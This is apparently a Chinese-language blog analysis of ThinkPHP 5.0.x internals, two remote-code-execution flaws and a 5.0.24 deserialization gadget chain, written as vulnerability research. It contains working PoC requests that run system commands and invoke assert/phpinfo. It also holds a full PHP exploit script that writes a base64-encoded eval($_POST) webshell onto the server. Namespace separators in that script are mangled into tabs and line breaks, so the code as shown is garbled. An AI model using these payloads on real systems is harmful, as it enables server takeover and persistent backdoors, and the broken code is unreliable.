TP5.0.xRCE&5.0.24反序列化分析

环境部署

以TP5.0.22为例 + PHP 5.6.27-NTS + phpstorm2020.1

反序列化环境为:TP5.0.24 + PHP 5.6.27-NTS + phpstorm2020.1

目录架构

根据类的命名空间可以快速定位文件位置，在ThinkPHP5.0的规范里面，命名空间其实对应了文件的所在目录，app命名空间通常代表了文件的起始目录为application，而think命名空间则代表了文件的其实目录为thinkphp/library/think，后面的命名空间则表示从起始目录开始的子目录，如下图所示：

框架流程

我们先进入到默认的入口文件（public/index.php）

// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

引入start.php进入到里面看看有什么

框架引导文件（thinkphp/start.php）

进入框架引导文件看到两行代码

// ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php';

// 2. 执行应用
App::run()->send();

基础文件（thinkphp/base.php）

在此文件首先看到全面大段的是定义常量或者是检查常量是否存在，主要是以下几点需要重点注意

将Loader类引入
注册自动加载机制
- 注册系统自动加载，spl_autoload_register将函数注册到SPL __autoload函数队列中。如果该队列中的函数尚未激活，则激活它们。此函数可以注册任意数量的自动加载器，当使用尚未被定义的类（class）和接口（interface）时自动去加载。通过注册自动加载器，脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。
- Composer 自动加载支持
- 注册命名空间定义:think=>thinkphp/library/think，behavior=>thinkphp/library/behavior，traits=>thinkphp/library/traits
- 加载类库映射文件
- 自动加载 extend 目录
注册异常处理机制
加载惯例配置

执行应用（thinkphp/library/think/App.php）

首先返回一个request实例，将应用初始化返回配置信息。
之后进行如下的操作：

查看是否存在模块控制器绑定
对于request的实例根据设置的过滤规则进行过滤
加载语言包
监听app_dispatch
进行URL路由检测（routecheck后面细讲）
记录当前调度信息，路由以及请求信息到日志中
请求缓存检查并进行$data = self::exec($dispatch, $config);，根据$dispatch进行不同的调度，返回$data
清除类的实例化
输出数据到客户端，$response = $data;，返回一个Response类实例
调用 Response->send() 方法将数据返回值客户端

总结

画个图过一遍整个流程

根据PATH_INFO进行URL路由检测（App::routeCheck）

通过$path = $request->path()可以获得到请求的path_info，$depr是定义的分隔符，默认时:/，之后进行路由检测步骤如下

查看是否存在路由缓存，存在就包含
读取应用所在的路由文件，一般默认为route.php
导入路由配置
Route::check （根据路由定义返回不同的URL调度）
- 检查解析缓存
- 替换分隔符，将"/"换成了"|"
- 获取当前请求类型的路由规则，由于在之前的Composer 自动加载支持，在vendortopthink/think-captcha/src/helper.php中注册了路由，所以在$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];中的Route::$rules['get']已经存在了相应的路由规则
- 检测域名部署
- 检测URL绑定
- 静态路由规则检查
- 路由规则检查self::checkRoute($request, $rules, $url, $depr)
  - 检查参数有效性
  - 替换掉路由ext参数
  - 检查分组路由
  - 检查指定特殊路由，例如：__miss__和__atuo__
  - 检查路由规则checkRule
    - 检查完整规则定义
    - 检查路由的参数分隔符
    - 检查是否完整匹配路由
  - 最终未被匹配路由的进入到self::parseRule('', $miss['route'], $url, $miss['option'])进行处理，这就牵涉到TP对于路由的多种定义
- 检查是否强制使用路由$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']
- 路由无效，将自动解析模块的URL地址会进入到Route::parseUrl($path, $depr, $config['controller_auto_search'])
最终将结果记录到调度信息

总结

首先看看路由定义：

定义方式	定义格式
方式1：路由到模块/控制器	(模块/控制器/操作)?额外参数1=值1&额外参数2=值2...
方式2：路由到重定向地址	'外部地址'（默认301重定向）或者 ('外部地址','重定向代码')
方式3：路由到控制器的方法	'@(模块/控制器/)操作'
方式4：路由到类的方法	'完整的命名空间类::静态方法' 或者 '完整的命名空间类@动态方法'
方式5：路由到闭包函数	闭包函数定义（支持参数传入）

具体链接可以看看这个开发手册

在画个图过一遍整个路由流程

漏洞成因

现在TP的RCE通常将其分成两类：

Request类其中变量被覆盖导致RCE
路由控制不严谨导致可以调用任意类致使RCE
反序列化的应用（需要存在反序列化的地方）

Request类其中变量被覆盖导致RCE

我们以这个POC为例，进行复现：

我们正常的代码逻辑已经简单的写在了前文，如有代码执行疑惑请在前文寻找答案。

下面我们进行漏洞跟踪梳理

App:run()进行启动，进行到URL路由检测 self::routeCheck($request, $config)
- $request->path() 获取到我们自带的兼容模式参数 s
- 进入路由检测Route::check($request, $path, $depr, $config['url_domain_deploy'])
  - 关键代码$method = strtolower($request->method())进入$request->method()看到在查找$_POST中是否有表单请求类型伪装变量（简单解释一下这个，就是form表单的method只能进行GET和POST请求，如果想进行别的请求例如put、delete可以使用这个伪装变量来进入到相应的路由进行处理）
    - 一个PHP经典可变函数进行相关的调用$this->{$this->method}($_POST)，根据POC我们就进入到了 __construct ，这个东西是PHP魔术方法，进入到里面之后就可以将原先的数据覆盖成我们POST上去的数据，最后返回的是POST上去的method=get
- 最终返回数据如下图所示并且赋值给$dispatch
- 进入关键代码$data = self::exec($dispatch, $config)
  - 然后再次进入到回调方法中的Request::instance()->param()，继续跟踪到array_walk_recursive($data, [$this, 'filterValue'], $filter)，这个函数解释如下：
  - 重要代码跟进，调用call_user_func($filter, $value)将其传入的$filter=system,$value=sysyteminfo
  - 最后返回的需要进行一次过滤，不过大致查看能发现过滤字符基本为SQL注入的过滤，不是RCE的类型
  - 现在再次回到call_user_func($filter, $value)因为最终你传入的是一个数组，第一个是需要执行的类型，后面是为null，因此会报错。
最终进入到 hinkphplibrary hinkexceptionHandle.php的174行，$data['echo'] = ob_get_clean()，获取到前面未被赋值的命令执行的结果，从而随着报错页面一起发送给客户端从而达到回显的目的。

POC版本测试

需要captcha的method路由，如果存在其他method路由，也是可以将captcha换为其他

5.0~5.0.23(本人只测了0和23的完整版，那么猜测中间的版本也是通杀没有问题)
POST http://localhost/tp/public/index.php?s=captcha?s=captcha

_method=__construct&filter[]=system&method=GET&get[]=whoami

5.1.x低版本也可行请自行调试寻找

路由控制不严谨导致可以调用任意类致使RCE

我们以这个POC为例
http://localhost/tp/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo())

正常代码逻辑已经梳理，请自行查看前文。
下面进行漏洞逻辑梳理

进入路由$dispatch = self::routeCheck($request, $config)，最终进入Route::parseUrl($path, $depr, $config['controller_auto_search'])，通过分隔符替换从而将我们输入的pathinfo信息打散成数组： index|thinkapp|invokefunction，最终返回类似这样的数据

进入$data = self::exec($dispatch, $config); 将前面获得的调度信息传进去
- 进入$data = self::module($dispatch['module'],$config,isset($dispatch['convert']) ? $dispatch['convert'] : null);
  - 一直跟踪到往下看，这句代码就是为什么我们要在pathinfo中首先要写 index ：elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module))。这样能保证程序不报错中断并且使 $available=true
  - 分别将模块、控制器、操作将其赋值为我们所输入的 index thinkapp invokefunction
  - 进入Loader::controller进行控制类调用 Loader::getModuleAndClass 使得程序通过 invokeClass 返回我们所输入的类的实例
  - 进入到App::invokeMethod，反射出我们所输入的类的方法信息(ReflectionMethod)，绑定我们输入的参数，进入$reflect->invokeArgs(isset($class) ? $class : null, $args)那么就可以调用我们所想调用的函数，参数也相应传入
最后跟前面那个漏洞一样，我们所执行的结果会随着报错输出缓冲区一起显示出来。

POC版本测试

因为linux和win的环境不一样导致代码逻辑判断不一样因此需要自行寻找

5.0.x(具体自行测试)
http://localhost/tp/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

5.1.x(具体自行测试，适合linux环境)
http://127.0.0.1/index.php?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP5.0.24反序列化利用链

先看看PHP的魔术方法

梳理反序列化利用链漏洞首先需要一个漏洞触发点，别问，问就是自己写：

我们发现在 thinkphp/library/think/process/pipes/Windows.php 中发现__destruct中存在removeFiles函数，并且在其中存在$this->files和file_exists，那么我们通过可控的$this->files利用file_exists可以调用一些类的__toString方法，之后查看此方法在抽象类Model（thinkphp/library/think/Model.php），抽象类不能直接调用，因此需要找他的子类。我们可以找到Pivot（thinkphp/library/think/model/Pivot.php）进行调用

然后从toJson()->toArray()，我们看到$item[$key] = $value ? $value->getAttr($attr) : null
其中 $value->getAttr是我们利用__call魔术方法 的点，我们来梳理代码逻辑使之可以顺利执行这句代码。

$this->append可以控制，将其变成Model类的getError方法，然后跟进看到此方法存在$this->error，因此可以控制$this->$relation()

进入到 getRelationData 进行一次判断，首先需要进入的是Relation类型的对象，并且要符合这个关键判断$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent) 才能让$value变成我们想要的东西
- 首先传入的Relation对象是由$this->$relation()控制，我们可以找到HasOne（thinkphp/library/think/model/relation/HasOne.php）这个类是继承抽象类OneToOne（thinkphp/library/think/model/relation/OnToOne.php），然后OneToOne又继承自Relation，所以HasOne有着Relation的血脉才能进入getRelationData方法
- $this->parent 是我们所要进入的__call魔术方法所在的类，这里我们选择的是Output类（thinkphp/library/think/console/Output）
- $modelRelation->isSelfRelation() 看到$this->selfRelation，我们可以控制。
- get_class($modelRelation->getModel()) == get_class($this->parent))，我们需要将最后Query的$this->model写成我们选择的Output类
最后$this->parent赋值给$value，执行代码之后进入到Output类的__call方法

进入到__call，发现$this->styles我们可以控制那么就可以执行block方法，block调用writeln方法，writeln调用write方法，发现write方法中$this->handle->write($messages, $newline, $type)那么我们可以控制$this->handle，我们将其设置为Memcached类（thinkphp/library/think/session/driver/Mencached.php），然后进入到Memcached->write方法中看到Memcached也存在一个$this->handle，我们将其设置为File类（thinkphp/library/think/cache/driver/File.php）从而进入到File->set方法我们可以看到file_put_contents($filename, $data)其中的两个参数我们都可以控制

首先传入的三个参数已经确定，其中$name，$expire我们可以控制，但是有用的就是$name
发现写入的数据就是我们无法控制的$value，无法利用。我们不慌继续往下看，看到有一个$this->setTagItem($filename)我们看到此方法又调用一次set方法并且传入set的三个值我们都可以控制

再一次进入set方法， 通过php伪协议可以绕过exit()的限制 ，就可以将危害代码写在服务器上了。

EXP

从网上找来的EXP，改了改关键的几个点，并且可以实现在Windows写文件

<?php
namespace thinkprocesspipes {
    class Windows {
        private $files = [];

        public function __construct($files)
        {
            $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
        }
    }
}

namespace think {
    abstract class Model{
        protected $append = [];
        protected $error = null;
        public $parent;

        function __construct($output, $modelRelation)
        {
            $this->parent = $output;  //$this->parent=> thinkconsoleOutput;
            $this->append = array("xxx"=>"getError");     //调用getError 返回this->error
            $this->error = $modelRelation;               // $this->error 要为 relation类的子类，并且也是OnetoOne类的子类==>>HasOne
        }
    }
}

namespace thinkmodel{
    use thinkModel;
    class Pivot extends Model{
        function __construct($output, $modelRelation)
        {
            parent::__construct($output, $modelRelation);
        }
    }
}

namespace thinkmodel
elation{
    class HasOne extends OneToOne {

    }
}
namespace thinkmodel
elation {
    abstract class OneToOne
    {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query)
        {
            $this->selfRelation = 0;
            $this->query = $query;    //$query指向Query
            $this->bindAttr = ['xxx'];// $value值，作为call函数引用的第二变量
        }
    }
}

namespace thinkdb {
    class Query {
        protected $model;

        function __construct($model)
        {
            $this->model = $model; //$this->model=> thinkconsoleOutput;
        }
    }
}
namespace thinkconsole{
    class Output{
        private $handle;
        protected $styles;
        function __construct($handle)
        {
            $this->styles = ['getAttr'];
            $this->handle =$handle; //$handle->thinksessiondriverMemcached
        }

    }
}
namespace thinksessiondriver {
    class Memcached
    {
        protected $handler;

        function __construct($handle)
        {
            $this->handler = $handle; //$handle->thinkcachedriverFile
        }
    }
}

namespace thinkcachedriver {
    class File
    {
        protected $options=null;
        protected $tag;

        function __construct(){
            $this->options=[
                'expire' => 3600, 
                'cache_subdir' => false, 
                'prefix' => '', 
                'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
                'data_compress' => false,
            ];
            $this->tag = 'xxx';
        }

    }
}

namespace {
    $Memcached = new thinksessiondriverMemcached(new 	hinkcachedriverFile());
    $Output = new thinkconsoleOutput($Memcached);
    $model = new thinkdbQuery($Output);
    $HasOne = new thinkmodel
elationHasOne($model);
    $window = new thinkprocesspipesWindows(new thinkmodelPivot($Output,$HasOne));
    echo serialize($window);
    echo base64_encode(serialize($window));
}

TP5.0.xRCE&5.0.24反序列化分析

环境部署

目录架构

框架流程

框架引导文件（thinkphp/start.php）

基础文件（thinkphp/base.php）

执行应用（thinkphp/library/think/App.php）

总结

根据PATH_INFO进行URL路由检测（App::routeCheck）

总结

漏洞成因

Request类其中变量被覆盖导致RCE

POC版本测试

路由控制不严谨导致可以调用任意类致使RCE

POC版本测试

TP5.0.24反序列化利用链

EXP

POC效果演示图

参考链接